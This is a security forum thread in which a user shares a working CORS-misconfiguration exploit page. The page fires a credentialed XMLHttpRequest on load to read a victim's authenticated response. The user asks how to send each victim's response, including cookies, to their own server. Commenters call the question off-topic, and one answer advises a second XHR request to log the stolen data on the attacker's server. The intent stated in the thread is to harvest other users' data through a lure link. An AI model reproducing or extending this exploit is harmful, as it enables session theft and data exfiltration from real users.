0

I am trying to exploit misconfiguration CORS. I have created and hosted a file in HTML and Javascript where if someone clicks the link there HTTP response containing cookies will reflect them on the browser.

I want to store the response to a file on my server and append it if clicked again. So, whenever the user clicks my link, their response will be stored on my server

My code is working fine for reflecting the response to them. But what should I use to store their response to my server.
Is it possible with javascript and html?

Here's my code "exploit.html":

<html>

<head>
    <title>Hello</title> </head>

<body onload="resp();">
        <div id="butn">
            <button type="button" onclick="resp()">Exploit</button></div>
        </div>
        <script>
            function resp() {
            var xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function () {
                if (this.readyState == 4 && this.status == 200) {
                    document.write(document.getElementById("butn").innerHTML = this.responseText)
            }
        };
                xhttp.open("GET", "https://url", true);
                xhttp.withCredentials = true;
                xhttp.send();
            }
        </script> </body> </html>
2
  • Unfortunately this really isn't a security question and so doesn't belong here. It sounds like you're just asking, "How do I save the results from exploiting a vulnerability?". There are any number of possible answers to that - send it off to a server, store it in a database, etc... You just need some engineering help, not security help. Nov 20 '19 at 13:20
  • "But what should I use to store their response to my server." - this is a pure coding question (which is off-topic here), i.e. how to store the value of a variable (security related or not) on some external server. Nov 20 '19 at 13:49
-1

My code is working fine for reflecting the response to them. But what should I use to store their response to my server. Is it possible with javascript and html?

It should be possible with javascript.Write an Xml HTTP request in javascript and make a request to your web server that logs the request to file/database.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.